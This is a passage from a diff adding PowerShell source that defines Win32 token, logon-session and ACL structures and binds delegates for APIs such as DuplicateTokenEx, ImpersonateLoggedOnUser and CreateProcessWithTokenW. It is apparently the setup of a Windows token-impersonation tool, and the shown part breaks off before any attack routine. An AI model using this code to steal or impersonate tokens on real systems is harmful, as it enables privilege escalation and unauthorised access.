= 0x4 + ACCESS_ALLOWED_ACE_TYPE = 0x0 + STANDARD_RIGHTS_REQUIRED = 0x000F0000 + DESKTOP_GENERIC_ALL = 0x000F01FF + WRITE_DAC = 0x00040000 + OBJECT_INHERIT_ACE = 0x1 + GRANT_ACCESS = 0x1 + TRUSTEE_IS_NAME = 0x1 + TRUSTEE_IS_SID = 0x0 + TRUSTEE_IS_USER = 0x1 + TRUSTEE_IS_WELL_KNOWN_GROUP = 0x5 + TRUSTEE_IS_GROUP = 0x2 + PROCESS_QUERY_INFORMATION = 0x400 + TOKEN_ASSIGN_PRIMARY = 0x1 + TOKEN_DUPLICATE = 0x2 + TOKEN_IMPERSONATE = 0x4 + TOKEN_QUERY_SOURCE = 0x10 + STANDARD_RIGHTS_READ = 0x20000 + TokenStatistics = 10 + TOKEN_ALL_ACCESS = 0xf01ff + MAXIMUM_ALLOWED = 0x02000000 + THREAD_ALL_ACCESS = 0x1f03ff + ERROR_INVALID_PARAMETER = 0x57 + LOGON_NETCREDENTIALS_ONLY = 0x2 + SE_PRIVILEGE_ENABLED = 0x2 + SE_PRIVILEGE_ENABLED_BY_DEFAULT = 0x1 + SE_PRIVILEGE_REMOVED = 0x4 + } + + $Win32Constants = New-Object PSObject -Property $Constants + ############################### + + + ############################### + #Win32Structures + ############################### + #Define all the structures/enums that will be used + # This article shows you how to do this with reflection: http://www.exploit-monday.com/2012/07/structs-and-enums-using-reflection.html + $Domain = [AppDomain]::CurrentDomain + $DynamicAssembly = New-Object System.Reflection.AssemblyName('DynamicAssembly') + $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynamicAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) + $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('DynamicModule', $false) + $ConstructorInfo = [System.Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0] + + #ENUMs + $TypeBuilder = $ModuleBuilder.DefineEnum('TOKEN_INFORMATION_CLASS', 'Public', [UInt32]) + $TypeBuilder.DefineLiteral('TokenUser', [UInt32] 1) | Out-Null + $TypeBuilder.DefineLiteral('TokenGroups', [UInt32] 2) | Out-Null + $TypeBuilder.DefineLiteral('TokenPrivileges', [UInt32] 3) | Out-Null + $TypeBuilder.DefineLiteral('TokenOwner', [UInt32] 4) | Out-Null + $TypeBuilder.DefineLiteral('TokenPrimaryGroup', [UInt32] 5) | Out-Null + $TypeBuilder.DefineLiteral('TokenDefaultDacl', [UInt32] 6) | Out-Null + $TypeBuilder.DefineLiteral('TokenSource', [UInt32] 7) | Out-Null + $TypeBuilder.DefineLiteral('TokenType', [UInt32] 8) | Out-Null + $TypeBuilder.DefineLiteral('TokenImpersonationLevel', [UInt32] 9) | Out-Null + $TypeBuilder.DefineLiteral('TokenStatistics', [UInt32] 10) | Out-Null + $TypeBuilder.DefineLiteral('TokenRestrictedSids', [UInt32] 11) | Out-Null + $TypeBuilder.DefineLiteral('TokenSessionId', [UInt32] 12) | Out-Null + $TypeBuilder.DefineLiteral('TokenGroupsAndPrivileges', [UInt32] 13) | Out-Null + $TypeBuilder.DefineLiteral('TokenSessionReference', [UInt32] 14) | Out-Null + $TypeBuilder.DefineLiteral('TokenSandBoxInert', [UInt32] 15) | Out-Null + $TypeBuilder.DefineLiteral('TokenAuditPolicy', [UInt32] 16) | Out-Null + $TypeBuilder.DefineLiteral('TokenOrigin', [UInt32] 17) | Out-Null + $TypeBuilder.DefineLiteral('TokenElevationType', [UInt32] 18) | Out-Null + $TypeBuilder.DefineLiteral('TokenLinkedToken', [UInt32] 19) | Out-Null + $TypeBuilder.DefineLiteral('TokenElevation', [UInt32] 20) | Out-Null + $TypeBuilder.DefineLiteral('TokenHasRestrictions', [UInt32] 21) | Out-Null + $TypeBuilder.DefineLiteral('TokenAccessInformation', [UInt32] 22) | Out-Null + $TypeBuilder.DefineLiteral('TokenVirtualizationAllowed', [UInt32] 23) | Out-Null + $TypeBuilder.DefineLiteral('TokenVirtualizationEnabled', [UInt32] 24) | Out-Null + $TypeBuilder.DefineLiteral('TokenIntegrityLevel', [UInt32] 25) | Out-Null + $TypeBuilder.DefineLiteral('TokenUIAccess', [UInt32] 26) | Out-Null + $TypeBuilder.DefineLiteral('TokenMandatoryPolicy', [UInt32] 27) | Out-Null + $TypeBuilder.DefineLiteral('TokenLogonSid', [UInt32] 28) | Out-Null + $TypeBuilder.DefineLiteral('TokenIsAppContainer', [UInt32] 29) | Out-Null + $TypeBuilder.DefineLiteral('TokenCapabilities', [UInt32] 30) | Out-Null + $TypeBuilder.DefineLiteral('TokenAppContainerSid', [UInt32] 31) | Out-Null + $TypeBuilder.DefineLiteral('TokenAppContainerNumber', [UInt32] 32) | Out-Null + $TypeBuilder.DefineLiteral('TokenUserClaimAttributes', [UInt32] 33) | Out-Null + $TypeBuilder.DefineLiteral('TokenDeviceClaimAttributes', [UInt32] 34) | Out-Null + $TypeBuilder.DefineLiteral('TokenRestrictedUserClaimAttributes', [UInt32] 35) | Out-Null + $TypeBuilder.DefineLiteral('TokenRestrictedDeviceClaimAttributes', [UInt32] 36) | Out-Null + $TypeBuilder.DefineLiteral('TokenDeviceGroups', [UInt32] 37) | Out-Null + $TypeBuilder.DefineLiteral('TokenRestrictedDeviceGroups', [UInt32] 38) | Out-Null + $TypeBuilder.DefineLiteral('TokenSecurityAttributes', [UInt32] 39) | Out-Null + $TypeBuilder.DefineLiteral('TokenIsRestricted', [UInt32] 40) | Out-Null + $TypeBuilder.DefineLiteral('MaxTokenInfoClass', [UInt32] 41) | Out-Null + $TOKEN_INFORMATION_CLASS = $TypeBuilder.CreateType() + + #STRUCTs + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('LARGE_INTEGER', $Attributes, [System.ValueType], 8) + $TypeBuilder.DefineField('LowPart', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('HighPart', [UInt32], 'Public') | Out-Null + $LARGE_INTEGER = $TypeBuilder.CreateType() + + #Struct LUID + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('LUID', $Attributes, [System.ValueType], 8) + $TypeBuilder.DefineField('LowPart', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('HighPart', [Int32], 'Public') | Out-Null + $LUID = $TypeBuilder.CreateType() + + #Struct TOKEN_STATISTICS + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('TOKEN_STATISTICS', $Attributes, [System.ValueType]) + $TypeBuilder.DefineField('TokenId', $LUID, 'Public') | Out-Null + $TypeBuilder.DefineField('AuthenticationId', $LUID, 'Public') | Out-Null + $TypeBuilder.DefineField('ExpirationTime', $LARGE_INTEGER, 'Public') | Out-Null + $TypeBuilder.DefineField('TokenType', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('ImpersonationLevel', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('DynamicCharged', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('DynamicAvailable', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('GroupCount', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('PrivilegeCount', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('ModifiedId', $LUID, 'Public') | Out-Null + $TOKEN_STATISTICS = $TypeBuilder.CreateType() + + #Struct LSA_UNICODE_STRING + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('LSA_UNICODE_STRING', $Attributes, [System.ValueType]) + $TypeBuilder.DefineField('Length', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('MaximumLength', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('Buffer', [IntPtr], 'Public') | Out-Null + $LSA_UNICODE_STRING = $TypeBuilder.CreateType() + + #Struct LSA_LAST_INTER_LOGON_INFO + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('LSA_LAST_INTER_LOGON_INFO', $Attributes, [System.ValueType]) + $TypeBuilder.DefineField('LastSuccessfulLogon', $LARGE_INTEGER, 'Public') | Out-Null + $TypeBuilder.DefineField('LastFailedLogon', $LARGE_INTEGER, 'Public') | Out-Null + $TypeBuilder.DefineField('FailedAttemptCountSinceLastSuccessfulLogon', [UInt32], 'Public') | Out-Null + $LSA_LAST_INTER_LOGON_INFO = $TypeBuilder.CreateType() + + #Struct SECURITY_LOGON_SESSION_DATA + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('SECURITY_LOGON_SESSION_DATA', $Attributes, [System.ValueType]) + $TypeBuilder.DefineField('Size', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('LoginID', $LUID, 'Public') | Out-Null + $TypeBuilder.DefineField('Username', $LSA_UNICODE_STRING, 'Public') | Out-Null + $TypeBuilder.DefineField('LoginDomain', $LSA_UNICODE_STRING, 'Public') | Out-Null + $TypeBuilder.DefineField('AuthenticationPackage', $LSA_UNICODE_STRING, 'Public') | Out-Null + $TypeBuilder.DefineField('LogonType', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('Session', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('Sid', [IntPtr], 'Public') | Out-Null + $TypeBuilder.DefineField('LoginTime', $LARGE_INTEGER, 'Public') | Out-Null + $TypeBuilder.DefineField('LoginServer', $LSA_UNICODE_STRING, 'Public') | Out-Null + $TypeBuilder.DefineField('DnsDomainName', $LSA_UNICODE_STRING, 'Public') | Out-Null + $TypeBuilder.DefineField('Upn', $LSA_UNICODE_STRING, 'Public') | Out-Null + $TypeBuilder.DefineField('UserFlags', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('LastLogonInfo', $LSA_LAST_INTER_LOGON_INFO, 'Public') | Out-Null + $TypeBuilder.DefineField('LogonScript', $LSA_UNICODE_STRING, 'Public') | Out-Null + $TypeBuilder.DefineField('ProfilePath', $LSA_UNICODE_STRING, 'Public') | Out-Null + $TypeBuilder.DefineField('HomeDirectory', $LSA_UNICODE_STRING, 'Public') | Out-Null + $TypeBuilder.DefineField('HomeDirectoryDrive', $LSA_UNICODE_STRING, 'Public') | Out-Null + $TypeBuilder.DefineField('LogoffTime', $LARGE_INTEGER, 'Public') | Out-Null + $TypeBuilder.DefineField('KickOffTime', $LARGE_INTEGER, 'Public') | Out-Null + $TypeBuilder.DefineField('PasswordLastSet', $LARGE_INTEGER, 'Public') | Out-Null + $TypeBuilder.DefineField('PasswordCanChange', $LARGE_INTEGER, 'Public') | Out-Null + $TypeBuilder.DefineField('PasswordMustChange', $LARGE_INTEGER, 'Public') | Out-Null + $SECURITY_LOGON_SESSION_DATA = $TypeBuilder.CreateType() + + #Struct STARTUPINFO + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('STARTUPINFO', $Attributes, [System.ValueType]) + $TypeBuilder.DefineField('cb', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('lpReserved', [IntPtr], 'Public') | Out-Null + $TypeBuilder.DefineField('lpDesktop', [IntPtr], 'Public') | Out-Null + $TypeBuilder.DefineField('lpTitle', [IntPtr], 'Public') | Out-Null + $TypeBuilder.DefineField('dwX', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('dwY', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('dwXSize', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('dwYSize', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('dwXCountChars', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('dwYCountChars', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('dwFillAttribute', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('dwFlags', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('wShowWindow', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('cbReserved2', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('lpReserved2', [IntPtr], 'Public') | Out-Null + $TypeBuilder.DefineField('hStdInput', [IntPtr], 'Public') | Out-Null + $TypeBuilder.DefineField('hStdOutput', [IntPtr], 'Public') | Out-Null + $TypeBuilder.DefineField('hStdError', [IntPtr], 'Public') | Out-Null + $STARTUPINFO = $TypeBuilder.CreateType() + + #Struct PROCESS_INFORMATION + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('PROCESS_INFORMATION', $Attributes, [System.ValueType]) + $TypeBuilder.DefineField('hProcess', [IntPtr], 'Public') | Out-Null + $TypeBuilder.DefineField('hThread', [IntPtr], 'Public') | Out-Null + $TypeBuilder.DefineField('dwProcessId', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('dwThreadId', [UInt32], 'Public') | Out-Null + $PROCESS_INFORMATION = $TypeBuilder.CreateType() + + #Struct TOKEN_ELEVATION + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('TOKEN_ELEVATION', $Attributes, [System.ValueType]) + $TypeBuilder.DefineField('TokenIsElevated', [UInt32], 'Public') | Out-Null + $TOKEN_ELEVATION = $TypeBuilder.CreateType() + + #Struct LUID_AND_ATTRIBUTES + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('LUID_AND_ATTRIBUTES', $Attributes, [System.ValueType], 12) + $TypeBuilder.DefineField('Luid', $LUID, 'Public') | Out-Null + $TypeBuilder.DefineField('Attributes', [UInt32], 'Public') | Out-Null + $LUID_AND_ATTRIBUTES = $TypeBuilder.CreateType() + + #Struct TOKEN_PRIVILEGES + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('TOKEN_PRIVILEGES', $Attributes, [System.ValueType], 16) + $TypeBuilder.DefineField('PrivilegeCount', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('Privileges', $LUID_AND_ATTRIBUTES, 'Public') | Out-Null + $TOKEN_PRIVILEGES = $TypeBuilder.CreateType() + + #Struct ACE_HEADER + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('ACE_HEADER', $Attributes, [System.ValueType]) + $TypeBuilder.DefineField('AceType', [Byte], 'Public') | Out-Null + $TypeBuilder.DefineField('AceFlags', [Byte], 'Public') | Out-Null + $TypeBuilder.DefineField('AceSize', [UInt16], 'Public') | Out-Null + $ACE_HEADER = $TypeBuilder.CreateType() + + #Struct ACL + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('ACL', $Attributes, [System.ValueType]) + $TypeBuilder.DefineField('AclRevision', [Byte], 'Public') | Out-Null + $TypeBuilder.DefineField('Sbz1', [Byte], 'Public') | Out-Null + $TypeBuilder.DefineField('AclSize', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('AceCount', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('Sbz2', [UInt16], 'Public') | Out-Null + $ACL = $TypeBuilder.CreateType() + + #Struct ACE_HEADER + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('ACCESS_ALLOWED_ACE', $Attributes, [System.ValueType]) + $TypeBuilder.DefineField('Header', $ACE_HEADER, 'Public') | Out-Null + $TypeBuilder.DefineField('Mask', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('SidStart', [UInt32], 'Public') | Out-Null + $ACCESS_ALLOWED_ACE = $TypeBuilder.CreateType() + + #Struct TRUSTEE + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('TRUSTEE', $Attributes, [System.ValueType]) + $TypeBuilder.DefineField('pMultipleTrustee', [IntPtr], 'Public') | Out-Null + $TypeBuilder.DefineField('MultipleTrusteeOperation', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('TrusteeForm', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('TrusteeType', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('ptstrName', [IntPtr], 'Public') | Out-Null + $TRUSTEE = $TypeBuilder.CreateType() + + #Struct EXPLICIT_ACCESS + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('EXPLICIT_ACCESS', $Attributes, [System.ValueType]) + $TypeBuilder.DefineField('grfAccessPermissions', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('grfAccessMode', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('grfInheritance', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('Trustee', $TRUSTEE, 'Public') | Out-Null + $EXPLICIT_ACCESS = $TypeBuilder.CreateType() + ############################### + + + ############################### + #Win32Functions + ############################### + $OpenProcessAddr = Get-ProcAddress kernel32.dll OpenProcess + $OpenProcessDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr]) + $OpenProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessAddr, $OpenProcessDelegate) + + $OpenProcessTokenAddr = Get-ProcAddress advapi32.dll OpenProcessToken + $OpenProcessTokenDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr].MakeByRefType()) ([Bool]) + $OpenProcessToken = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessTokenAddr, $OpenProcessTokenDelegate) + + $GetTokenInformationAddr = Get-ProcAddress advapi32.dll GetTokenInformation + $GetTokenInformationDelegate = Get-DelegateType @([IntPtr], $TOKEN_INFORMATION_CLASS, [IntPtr], [UInt32], [UInt32].MakeByRefType()) ([Bool]) + $GetTokenInformation = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetTokenInformationAddr, $GetTokenInformationDelegate) + + $SetThreadTokenAddr = Get-ProcAddress advapi32.dll SetThreadToken + $SetThreadTokenDelegate = Get-DelegateType @([IntPtr], [IntPtr]) ([Bool]) + $SetThreadToken = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($SetThreadTokenAddr, $SetThreadTokenDelegate) + + $ImpersonateLoggedOnUserAddr = Get-ProcAddress advapi32.dll ImpersonateLoggedOnUser + $ImpersonateLoggedOnUserDelegate = Get-DelegateType @([IntPtr]) ([Bool]) + $ImpersonateLoggedOnUser = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ImpersonateLoggedOnUserAddr, $ImpersonateLoggedOnUserDelegate) + + $RevertToSelfAddr = Get-ProcAddress advapi32.dll RevertToSelf + $RevertToSelfDelegate = Get-DelegateType @() ([Bool]) + $RevertToSelf = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($RevertToSelfAddr, $RevertToSelfDelegate) + + $LsaGetLogonSessionDataAddr = Get-ProcAddress secur32.dll LsaGetLogonSessionData + $LsaGetLogonSessionDataDelegate = Get-DelegateType @([IntPtr], [IntPtr].MakeByRefType()) ([UInt32]) + $LsaGetLogonSessionData = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LsaGetLogonSessionDataAddr, $LsaGetLogonSessionDataDelegate) + + $CreateProcessWithTokenWAddr = Get-ProcAddress advapi32.dll CreateProcessWithTokenW + $CreateProcessWithTokenWDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr], [IntPtr], [IntPtr], [IntPtr]) ([Bool]) + $CreateProcessWithTokenW = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateProcessWithTokenWAddr, $CreateProcessWithTokenWDelegate) + + $memsetAddr = Get-ProcAddress msvcrt.dll memset + $memsetDelegate = Get-DelegateType @([IntPtr], [Int32], [IntPtr]) ([IntPtr]) + $memset = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($memsetAddr, $memsetDelegate) + + $DuplicateTokenExAddr = Get-ProcAddress advapi32.dll DuplicateTokenEx + $DuplicateTokenExDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr], [UInt32], [UInt32], [IntPtr].MakeByRefType()) ([Bool]) + $DuplicateTokenEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DuplicateTokenExAddr, $DuplicateTokenExDelegate) + + $LookupAccountSidWAddr = Get-ProcAddress advapi32.dll LookupAccountSidW + $LookupAccountSidWDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [UInt32].MakeByRefType(), [IntPtr], [UInt32].MakeByRefType(), [UInt32].MakeByRefType()) ([Bool]) + $LookupAccountSidW = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LookupAccountSidWAddr, $LookupAccountSidWDelegate) + + $CloseHandleAddr = Get-ProcAddress kernel32.dll CloseHandle + $CloseHandleDelegate = Get-DelegateType @([IntPtr]) ([Bool]) + $CloseHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CloseHandleAddr, $CloseHandleDelegate) + + $LsaFreeReturnBufferAddr = Get-ProcAddress secur32.dll LsaFreeReturnBuffer + $LsaFreeReturnBufferDelegate = Get-DelegateType @([IntPtr]) ([UInt32]) + $LsaFreeReturnBuffer = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LsaFreeReturnBufferAddr, $LsaFreeReturnBufferDelegate) + + $OpenThreadAddr = Get-ProcAddress kernel32.dll OpenThread + $OpenThreadDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr]) + $OpenThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenThreadAddr, $OpenThreadDelegate) + + $OpenThreadTokenAddr = Get-ProcAddress advapi32.dll OpenThreadToken + $OpenThreadTokenDelegate = Get-DelegateType @([IntPtr], [UInt32], [Bool], [IntPtr].MakeByRefType()) ([Bool]) + $OpenThreadToken = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenThreadTokenAddr, $OpenThreadTokenDelegate) + + $CreateProcessAsUserWAddr = Get-ProcAddress advapi32.dll CreateProcessAsUserW + $CreateProcessAsUserWDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [IntPtr], [IntPtr], [Bool], [UInt32], [IntPtr], [IntPtr], [IntPtr], [IntPtr]) ([Bool]) + $CreateProcessAsUserW = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateProcessAsUserWAddr, $CreateProcessAsUserWDelegate) + + $OpenWindowStationWAddr = Get-ProcAddress user32.dll OpenWindowStationW + $OpenWindowStationWDelegate = Get-DelegateType @([IntPtr], [Bool], [UInt32]) ([IntPtr]) + $OpenWindowStationW = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenWindowStationWAddr, $OpenWindowStationWDelegate) + + $OpenDesktopAAddr = Get-ProcAddress user32.dll OpenDesktopA + $OpenDesktopADelegate = Get-DelegateType @([String], [UInt32], [Bool], [UInt32]) ([IntPtr]) + $OpenDesktopA = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenDesktopAAddr, $OpenDesktopADelegate) + + $ImpersonateSelfAddr = Get-ProcAddress Advapi32.dll ImpersonateSelf + $ImpersonateSelfDelegate = Get-DelegateType @([Int32]) ([Bool]) + $ImpersonateSelf = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ImpersonateSelfAddr, $ImpersonateSelfDelegate) + + $LookupPrivilegeValueAddr = Get-ProcAddress Advapi32.dll LookupPrivilegeValueA + $LookupPrivilegeValueDelegate = Get-DelegateType @([String], [String], $LUID.MakeByRefType()) ([Bool]) + $LookupPrivilegeValue = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LookupPrivilegeValueAddr, $LookupPrivilegeValueDelegate) + + $AdjustTokenPrivilegesAddr = Get-ProcAddress Advapi32.dll AdjustTokenPrivileges + $AdjustTokenPrivilegesDelegate = Get-DelegateType @([IntPtr], [Bool], $TOKEN_PRIVILEGES.MakeByRefType(), [UInt32], [IntPtr], [IntPtr]) ([Bool]) + $AdjustTokenPrivileges = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($AdjustTokenPrivilegesAddr, $AdjustTokenPrivilegesDelegate) + + $GetCurrentThreadAddr = Get-ProcAddress kernel32.dll GetCurrentThread + $GetCurrentThreadDelegate = Get-DelegateType @() ([IntPtr]) + $GetCurrentThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetCurrentThreadAddr, $GetCurrentThreadDelegate) + + $GetSecurityInfoAddr = Get-ProcAddress advapi32.dll GetSecurityInfo + $GetSecurityInfoDelegate = Get-DelegateType @([IntPtr], [UInt32], [UInt32], [IntPtr].MakeByRefType(), [IntPtr].MakeByRefType(), [IntPtr].MakeByRefType(), [IntPtr].MakeByRefType(), [IntPtr].MakeByRefType()) ([UInt32]) + $GetSecurityInfo = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetSecurityInfoAddr, $GetSecurityInfoDelegate) + + $SetSecurityInfoAddr = Get-ProcAddress advapi32.dll SetSecurityInfo + $SetSecurityInfoDelegate = Get-DelegateType @([IntPtr], [UInt32], [UInt32], [IntPtr], [IntPtr], [IntPtr], [IntPtr]) ([UInt32]) + $SetSecurityInfo = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($SetSecurityInfoAddr, $SetSecurityInfoDelegate) + + $GetAceAddr = Get-ProcAddress advapi32.dll GetAce + $GetAceDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr].MakeByRefType()) ([IntPtr]) + $GetAce = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetAceAddr, $GetAceDelegate) + + $LookupAccountSidWAddr = Get-ProcAddress advapi32.dll LookupAccountSidW + $LookupAccountSidWDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [UInt32].MakeByRefType(), [IntPtr], [UInt32].MakeByRefType(), [UInt32].MakeByRefType()) ([Bool]) + $LookupAccountSidW = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LookupAccountSidWAddr, $LookupAccountSidWDelegate) + + $AddAccessAllowedAceAddr = Get-ProcAddress advapi32.dll AddAccessAllowedAce + $AddAccessAllowedAceDelegate = Get-DelegateType @([IntPtr], [UInt32], [UInt32], [IntPtr]) ([Bool]) + $AddAccessAllowedAce = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($AddAccessAllowedAceAddr, $AddAccessAllowedAceDelegate) + + $CreateWellKnownSidAddr = Get-ProcAddress advapi32.dll CreateWellKnownSid + $CreateWellKnownSidDelegate = Get-DelegateType @([UInt32], [IntPtr], [IntPtr], [UInt32].MakeByRefType()) ([Bool]) + $CreateWellKnownSid = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateWellKnownSidAddr, $CreateWellKnownSidDelegate) + + $SetEntriesInAclWAddr = Get-ProcAddress advapi32.dll SetEntriesInAclW + $SetEntriesInAclWDelegate = Get-DelegateType @([UInt32], $EXPLICIT_ACCESS.MakeByRefType(), [IntPtr], [IntPtr].MakeByRefType()) ([UInt32]) + $SetEntriesInAclW = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($SetEntriesInAclWAddr, $SetEntriesInAclWDelegate) + + $LocalFreeAddr = Get-ProcAddress kernel32.dll LocalFree + $LocalFreeDelegate = Get-DelegateType @([IntPtr]) ([IntPtr]) + $LocalFree = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LocalFreeAddr, $LocalFreeDelegate) + + $LookupPrivilegeNameWAddr = Get-ProcAddress advapi32.dll LookupPrivilegeNameW + $LookupPrivilegeNameWDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [UInt32].MakeByRefType()) ([Bool]) + $LookupPrivilegeNameW = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LookupPrivilegeNameWAddr, $LookupPrivilegeNameWDelegate) + ############################### + + + #Used to add 64bit memory addresses + Function Add-SignedIntAsUnsigned + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [Int64] + $Value1, + + [Parameter(Position = 1, Mandatory = $true)] + [Int64] + $Value2 + ) + + [Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1) + [Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2) + [Byte[]]$FinalBytes = [BitConverter]::GetBytes([UInt64]0) + + if ($Value1Bytes.Count -eq $Value2Bytes.Count) + { + $CarryOver = 0 + for ($i = 0; $i -lt $Value1Bytes.Count; $i++) + { + #Add bytes + [UInt16]$Sum = $Value1Bytes[$i] + $Value2Bytes[$i] + $CarryOver + + $FinalBytes[$i] = $Sum -band 0x00FF + + if (($Sum -band 0xFF00) -eq 0x100) + { + $CarryOver = 1 + } + else + { + $CarryOver = 0 